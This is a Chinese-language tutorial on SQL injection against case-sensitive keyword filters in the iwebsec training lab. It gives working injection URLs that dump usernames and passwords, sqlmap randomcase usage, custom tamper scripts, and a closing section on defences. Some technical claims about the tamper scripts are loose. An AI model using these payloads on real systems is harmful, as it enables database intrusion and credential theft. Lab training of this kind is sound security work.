SQL注入绕过实战:3种大小写过滤场景与sqlmap randomcase脚本应用

SQL注入绕过实战:3种大小写过滤场景与sqlmap randomcase脚本应用

在Web安全领域,SQL注入始终是危害性最高、利用频率最广的漏洞类型之一。当开发者仅依赖简单的关键字过滤机制时,攻击者往往能通过字符变换技巧轻松突破防线。本文将深入剖析三种典型的大小写过滤场景,结合iwebsec靶场环境,演示如何通过手工混淆和sqlmap的randomcase脚本实现高效绕过。

1. 大小写过滤机制原理与靶场环境搭建

现代Web应用常采用正则表达式匹配来拦截SQL关键字,例如preg_match('/select/i', $_GET["id"])中的/i修饰符会使匹配不区分大小写。但这类防御存在明显缺陷——当过滤逻辑仅针对特定大小写组合或未全面覆盖所有关键字时,攻击面依然存在。

iwebsec靶场第八关模拟了这类场景,其核心过滤代码如下:

if (preg_match('/select/', $_GET["id"])) { die("ERROR"); }

关键点在于这里未使用/i修饰符,导致仅拦截小写的"select"。通过以下命令可快速搭建测试环境:

docker pull iwebsec/iwebsec docker run -d -p 8001:80 --name iwebsec iwebsec/iwebsec

访问http://localhost:8001/sqli/08.php?id=1即可开始实验。注意观察以下响应特征:

  • 输入?id=1 select触发拦截
  • 输入?id=1 SELECT正常返回

2. 手工大小写混淆技术实战

手工注入时,灵活变换关键字大小写是最直接的绕过方式。以下为分步操作示例:

2.1 确定注入类型与字段数

# 测试数字型注入(无引号闭合) http://localhost:8001/sqli/08.php?id=1 AND 1=1 http://localhost:8001/sqli/08.php?id=1 AND 1=2 # 使用ORDER BY探测字段数 http://localhost:8001/sqli/08.php?id=1 OrDeR By 3--+

2.2 联合查询获取数据库信息

# 获取当前数据库 http://localhost:8001/sqli/08.php?id=-1 UniOn SeLeCt 1,2,database()--+ # 枚举数据表 http://localhost:8001/sqli/08.php?id=-1 UniOn SeLeCt 1,2, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())--+

提示:GROUP_CONCAT默认长度限制1024字节,超限时需使用SUBSTR分段获取

2.3 提取敏感字段数据

# 获取user表字段 http://localhost:8001/sqli/08.php?id=-1 UniOn SeLeCt 1,2, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user')--+ # 最终数据提取 http://localhost:8001/sqli/08.php?id=-1 UniOn SeLeCt 1,2, (SELECT GROUP_CONCAT(CONCAT(username,':',password)) FROM user)--+

手工注入的优势在于精准控制,但面对复杂过滤规则时效率较低。下表对比了不同场景下的适用性:

场景手工注入优势手工注入劣势
简单过滤即时反馈,无需工具准备重复工作量大
WAF测试可快速试探规则边界易触发防护机制
盲注环境可定制化payload时间成本高

3. sqlmap randomcase脚本深度解析

sqlmap的tamper脚本机制为绕过过滤提供了自动化解决方案。randomcase.py通过随机化字符大小写实现绕过,其核心逻辑如下:

def tamper(payload, **kwargs): retVal = "" for i in range(len(payload)): if random.randint(0, 1): retVal += payload[i].upper() else: retVal += payload[i].lower() return retVal

使用案例:

sqlmap -u "http://localhost:8001/sqli/08.php?id=1" \ --current-db --tamper=randomcase \ --batch --flush-session

执行过程关键节点解析:

  1. 检测阶段:sqlmap发送测试payload探测注入点
  2. 混淆处理:randomcase将SELECT转换为SeLEcT等变体
  3. 策略调整:根据响应动态优化大小写组合
  4. 数据提取:自动完成库表字段枚举

与手工注入相比,sqlmap方案具有以下优势特征:

  • 智能逃逸:自动识别过滤位置,针对性应用混淆
  • 批量处理:单命令完成全库提取
  • 结果格式化:支持CSV、HTML等多种输出格式

4. 复合过滤场景下的高级绕过技巧

实际环境中,大小写过滤常与其他防御措施组合使用。以下是三种典型复合场景的解决方案:

4.1 大小写+空格过滤

/* 使用注释符/**/替代空格 */ http://localhost:8001/sqli/08.php?id=-1/**/UnIoN/**/SeLeCt/**/1,2,3--+ /* 使用括号包裹参数 */ http://localhost:8001/sqli/08.php?id=(1)UnIoN(SeLeCt(1),(2),(3))

4.2 大小写+关键字过滤

# 自定义tamper脚本(保存为uppercase.py) def tamper(payload, **kwargs): keywords = ['union', 'select', 'from'] for kw in keywords: payload = payload.replace(kw, kw.upper()) return payload

4.3 大小写+长度限制

/* 使用子查询分段获取数据 */ http://localhost:8001/sqli/08.php?id=-1 UniOn SeLeCt 1,2, (SELECT SUBSTR(GROUP_CONCAT(table_name),1,30) FROM information_schema.tables)

5. 防御方案与最佳实践

从开发角度,推荐采用分层防御策略:

输入层防御

  • 使用预编译语句(Prepared Statements)
  • 严格类型转换(如intval($id)

逻辑层控制

  • 最小权限原则(数据库账户仅授权必要操作)
  • 白名单校验(如只允许数字ID)

架构层加固

  • WAF规则配置(如ModSecurity CRS)
  • 定期漏洞扫描(SQLMap、Burp Suite)

以下为PHP安全编码示例:

$stmt = $pdo->prepare("SELECT * FROM user WHERE id = ?"); $stmt->execute([intval($_GET['id'])]); $results = $stmt->fetchAll();

对安全测试人员,建议建立标准化测试流程:

  1. 信息收集(数据库类型、框架特征)
  2. 过滤规则探测(关键字、特殊字符)
  3. 绕过方案设计(大小写、编码、注释)
  4. 漏洞验证与报告生成

在iwebsec环境中完成基础训练后,可尝试挑战更复杂的DVWA或WebGoat靶场。记录不同数据库(MySQL、MSSQL、Oracle)的语法差异对绕过技术的影响,例如Oracle需要特别注意FROM DUAL子句的使用。